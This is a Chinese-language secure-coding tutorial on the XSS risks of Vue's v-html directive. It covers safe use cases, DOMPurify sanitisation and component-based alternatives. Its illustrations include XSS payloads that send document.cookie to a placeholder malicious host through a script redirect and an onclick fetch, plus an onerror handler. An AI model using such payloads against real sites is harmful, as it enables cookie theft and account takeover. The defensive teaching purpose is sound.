在 Vue 开发中，v-html是一个看似便捷却暗藏风险的指令。很多新手开发者在初次接触时，容易因对其特性和风险认知不足，写出存在安全漏洞的代码；而有经验的开发者则懂得如何在合适的场景下合理使用它。本文将全面剖析v-html的核心风险、适用场景，并给出落地可行的安全实践方案。
一、v-html 的核心风险：XSS 攻击
v-html的核心作用是将字符串解析为 HTML 并渲染到页面中，这也是它最大的风险来源 ——跨站脚本攻击（Cross-Site Scripting，XSS） 。
1. XSS 攻击的本质
Vue 默认会对插值表达式（{{ }}）中的内容进行 HTML 转义，比如将<转为<、>转为>，确保内容以纯文本形式展示，从根源上避免了 HTML 注入。但v-html会跳过这个转义过程，直接将内容作为 HTML 渲染，这就给了攻击者可乘之机。
2. 具体攻击示例
假设你的项目中有如下代码，用于展示用户提交的评论：
vue
<template>
<div class="comment">
<!-- 危险：直接渲染用户输入的内容 -->
<div v-html="userComment"></div>
</div>
</template>
<script>
export default {
data() {
return {
// 模拟恶意用户输入的内容
userComment: '<script>alert("你的cookie已被窃取");document.location.href="https://恶意网站?cookie="+document.cookie</script>'
};
}
};
</script>
当这段代码执行时，v-html会直接渲染<script>标签并执行其中的恶意代码：
- 窃取用户的 Cookie、LocalStorage 等敏感数据；
- 伪造用户操作（如发布不良信息、转账等）；
- 跳转到钓鱼网站；
- 植入恶意广告或病毒脚本。
3. 容易被忽视的隐性风险
即使攻击者不使用<script>标签，也能通过其他方式发起攻击：
javascript
运行
// 示例1：通过img标签的onerror事件执行代码
userComment: '<img src="不存在的图片" onerror="alert('XSS攻击')">'
// 示例2：通过a标签的onclick事件窃取信息
userComment: '<a href="#" onclick="fetch('https://恶意网站', {method: 'POST', body: document.cookie})">点击查看详情</a>'
Vue 虽然会过滤掉直接的<script>标签，但无法拦截 HTML 元素的事件属性（onclick、onerror等），这些依然能触发恶意代码执行。
二、v-html 的适用场景
尽管风险重重，v-html并非一无是处，在内容完全可控的场景下，它能解决普通插值无法实现的渲染需求。以下是几种合理的使用场景：
1. 渲染后端返回的可信富文本内容
很多管理系统、博客后台会使用富文本编辑器（如 TinyMCE、UEditor）让管理员编辑内容，这些内容包含<p>、<h1>、<img>、<a>等合法 HTML 标签，且内容由平台管理员（可信方）生成，无恶意代码风险。
vue
<template>
<div class="article-content">
<!-- 渲染管理员编辑的富文本文章 -->
<div v-html="article.content"></div>
</div>
</template>
<script>
export default {
data() {
return {
article: {
content: '<h1>文章标题</h1><p>这是一段包含<b>加粗</b>和<i>斜体</i>的正文</p>'
}
};
},
async mounted() {
// 从后端获取管理员编辑的富文本内容
const res = await this.$http.get('/api/article/1');
this.article = res.data;
}
};
</script>
2. 渲染前端预定义的 HTML 模板
当需要动态展示一些固定格式的 HTML 片段（如弹窗提示、自定义标签），且这些片段由前端开发人员编写，内容完全可控时，可使用v-html。
vue
<template>
<div class="tips-box">
<!-- 渲染预定义的提示模板 -->
<div v-html="tipsTemplate"></div>
</div>
</template>
<script>
export default {
data() {
return {
tipsType: 'success',
tipsTemplate: ''
};
},
computed: {
// 根据类型生成固定的HTML模板
tipsTemplate() {
const templates = {
success: '<div class="tips success"><i class="icon-success"></i>操作成功</div>',
error: '<div class="tips error"><i class="icon-error"></i>操作失败，请重试</div>'
};
return templates[this.tipsType];
}
}
};
</script>
3. 渲染经过严格过滤的第三方内容
如果必须渲染非完全可控的内容（如合作方提供的内容），需先通过 HTML 过滤库（如 DOMPurify）清除所有危险标签和属性，再使用v-html渲染。这是唯一能在非完全可控场景下使用v-html的方式。
三、v-html 的安全使用实践
无论在何种场景下使用v-html，都必须遵循 “安全第一” 的原则，以下是具体的安全实践方案：
1. 核心原则：只渲染可信内容
这是最基础也是最重要的原则：
- 绝对不要用
v-html渲染普通用户输入的内容（如评论、留言、昵称等）； - 即使是管理员编辑的内容，也要限制 HTML 标签范围（如禁止
<script>、on*事件属性）； - 第三方内容必须经过过滤后再渲染。
2. 使用 DOMPurify 过滤危险内容
DOMPurify 是一个成熟的 HTML 过滤库，能清除所有 XSS 相关的危险代码，只保留安全的 HTML 标签和属性。
步骤 1：安装 DOMPurify
bash
运行
npm install dompurify --save
步骤 2：在 Vue 中使用 DOMPurify 过滤内容
vue
<template>
<div class="content">
<div v-html="safeHtml"></div>
</div>
</template>
<script>
import DOMPurify from 'dompurify';
export default {
data() {
return {
rawHtml: '<p>安全内容</p><img src="x" onerror="alert('XSS')">' // 包含恶意代码的原始内容
};
},
computed: {
// 过滤后生成安全的HTML
safeHtml() {
return DOMPurify.sanitize(this.rawHtml);
}
}
};
</script>
上述代码中，DOMPurify 会自动移除onerror属性，只保留<p>标签和安全的<img>标签，彻底杜绝 XSS 风险。
3. 限制 v-html 的作用域
避免将v-html应用在根元素或大范围的容器上，尽量缩小其作用域，降低攻击面。同时，不要给v-html渲染的元素设置过高的权限（如id="app"）。
4. 禁用内联样式和脚本
通过 CSS 或后端配置，禁止v-html渲染的内容包含内联样式（style=""）和脚本相关标签（<script>、<iframe>），进一步提升安全性。
四、替代方案：尽量避免使用 v-html
在很多场景下，我们可以通过更安全的方式实现需求，完全替代v-html：
1. 使用 Vue 的组件化方案
对于固定格式的内容，将其封装为 Vue 组件，通过 props 传递数据，而非拼接 HTML 字符串。
vue
<!-- 替代拼接HTML的组件化方案 -->
<template>
<div class="article">
<ArticleTitle :text="title" />
<ArticleContent :content="content" />
</div>
</template>
<script>
import ArticleTitle from './components/ArticleTitle.vue';
import ArticleContent from './components/ArticleContent.vue';
export default {
components: { ArticleTitle, ArticleContent },
data() {
return {
title: '文章标题',
content: '文章正文'
};
}
};
</script>
2. 使用自定义指令
对于简单的 HTML 渲染需求，可以编写自定义指令，在指令内部实现安全的 HTML 转义和渲染。
3. 使用插值表达式 + CSS
对于仅需简单样式的文本，通过插值表达式展示文本，配合 CSS 实现样式效果，而非使用<b>、<i>等 HTML 标签。
总结
v-html是 Vue 中一把 “双刃剑”，其核心风险在于可能引发 XSS 攻击，尤其是渲染不可信用户输入时，极易导致敏感数据泄露、恶意代码执行等问题；但在内容完全可控的场景（如渲染管理员编辑的富文本、前端预定义的 HTML 模板）下，它能高效解决富文本渲染需求。
使用v-html的核心要点：
- 绝对不要渲染普通用户输入的内容，只处理可信来源的 HTML；
- 非完全可控的内容必须通过 DOMPurify 等工具过滤后再渲染；
- 优先使用组件化、插值表达式等更安全的方案替代
v-html。
作为开发者，我们既要理解v-html的使用场景，更要敬畏其安全风险，在追求开发效率的同时，守住应用的安全底线。
